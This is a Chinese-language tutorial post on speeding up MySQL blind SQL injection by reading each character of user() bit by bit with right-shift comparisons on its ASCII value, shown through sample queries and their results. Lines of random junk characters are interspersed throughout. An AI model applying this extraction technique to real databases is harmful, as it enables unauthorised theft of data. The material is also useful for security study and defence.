关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
8 m6 G; T6 X, c3 y7 o6 u% C5 F3 f


, ~5 |6 K6 _8 ^+ n* h$ I下面将以查询mysql数据库当中user()的第一位为例:

+ M$ A% ^3 I2 ^9 w+ ^
9 |  Q" S7 L( U# l& h5 t. o7 `
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


3 p2 y2 r, r. k0 h, K
9 {  k  o3 Z( o% j首先执行如下sql语句:



# `  c) Z2 \  B2 S) Amysql> select (ascii((substr(user(),1,1))) >> 7)=0;


# w/ P3 a7 v! z+ U7 U. H
: O# B5 d/ J/ ?% q! l5 S我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
% ]$ e! f( I, U' F; d& P% X
; \: Y9 j8 `1 E& t, I* I! Q; E
; f8 u7 Y' F0 P0 G% m1 g1 m7 \
9 b% a1 H" L; z$ v3 |, J' c第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



如果运算结果为1,说明第一位为0,不为1
) `8 M& y2 `% o4 r
9 ?. \  h- k4 B! {( K/ g: I

+ u5 A) m4 F; z+————————————–+
# E' y5 ?3 W3 H
| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
0 R: P6 A  P) d9 m( M; Y" e7 k# l' ~
' M4 T! W9 `$ u' g' r! f| 1 |
$ P3 b" K1 [* S9 o) _- D
) n& r6 T6 C0 |  t- F) ?+ }+————————————–+
5 p0 f4 S6 V+ e" l
. v7 ], H* r- j# E1 row in set (0.00 sec)
. }; q' B  {1 i3 Q& W- c9 R
  t( k2 a$ v3 M, }" {" T% R  q这样我们就确定这个8bit的ascii的第一位为0

2 w' x' }: P8 m8 z4 z% E0 R

第二次我们来做6次右偏移来确定前两位

) k2 M5 X0 J0 R/ [4 L4 Z
8 b) j( j) `2 I
前两位可能是01或00,即依然可以与0做比较,
! w' Z7 T) _2 K6 w
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

* r$ X) W2 [8 Z! c. Q. I0 s$ X| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+
) S+ ?' `1 O& C
| 0 |
+ O: T3 W: x% {, ~1 d; G8 F
+————————————–+
# L5 B" _- S. I$ [( Y/ P8 x1 i$ j$ O
1 O9 r0 T, ?+ ^/ S: [: e, K1 row in set (0.00 sec)
7 K8 z7 B; p( X- P0 G. B/ X
! R) g6 S* U/ u# \7 a
* X. d& }8 \: C
结果为0,即第二位为1
. y$ E+ C- R* \* A) b
9 J, A1 m" h1 k: H3 @

开始猜测前三位为010或011

% z7 B6 l+ P4 c' D! m- L( @- L, ^

让我们看看010和011的ascii码是多少
& j. q; `* p3 n; @


! J/ P% A* v9 [2 H分别查询select b’011′ select b’010′
9 F" Q  J  |) [! d& q
) Y: w8 J+ C0 w! {
  Y) }( @" E6 M* z4 v
* ~6 A' n' x3 X  P% Q5 F0 a获得结果 010 = 2 011 = 3


) v# q& G! W: u' Q4 Y
执行如下sql:


, y, {& |( y! p1 V
4 I* S2 }# r- K# `( Nmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
* C) O% N- b4 m. }
9 K9 ?% Z3 n/ g+————————————–+
2 ~$ |5 L" O% N
| (ascii((substr(user(),1,1))) >> 5)=2 |
$ n/ |0 L" b( f' P9 x# q
+————————————–+
+ v0 @# v+ \% O. C) [
5 }+ |" j& P, J' q* ?) q7 I| 0 |

+————————————–+

即前三位不为010,而是011
2 \; n# ~! B7 F% g6 U% a9 l

0 G3 u' T; ^8 I! ^5 \7 Z5 Q6 m8 m& d
直到获得最后一位
5 u& E. e# m# w% ^; A

- x! a3 Z1 [" e- `% O! T; b) F
1 x) B; Y$ M0 A1 d3 B4 C# d- }最终结果为:01110010
9 v; w' A" j' S( T

$ I) h  g! W7 U0 g. D0 ^
转换一下:

. e  ]+ ]; l0 r* L, W/ v7 F# I

select b’01110010′
& ]( m* g: I, S* J5 m
) E! [, ~1 {7 o7 W! d

( x' O. Q- a1 x8 ?7 y9 J查询结果
8 i, v/ s% ^7 }* u4 m! q7 k1 a3 v) H
: X# l' s8 T- S

+————-+
( H7 \" F  x; R8 [! |3 q7 ^2 S1 ^
| b’01110010′ |

+————-+

| r |
% d( w, ~# j5 J5 V* J; j" t
, V0 x& g* N5 d) j! B1 U# c+————-+

5 Q7 Y, _) t( _: H8 F" A1 row in set (0.00 sec)

6 |4 D) j  p+ m5 k5 g
5 o6 `  v9 g" E, F! h
这样我们就获得了user()的第一位.其它位依此类推

; i& B! {( M' T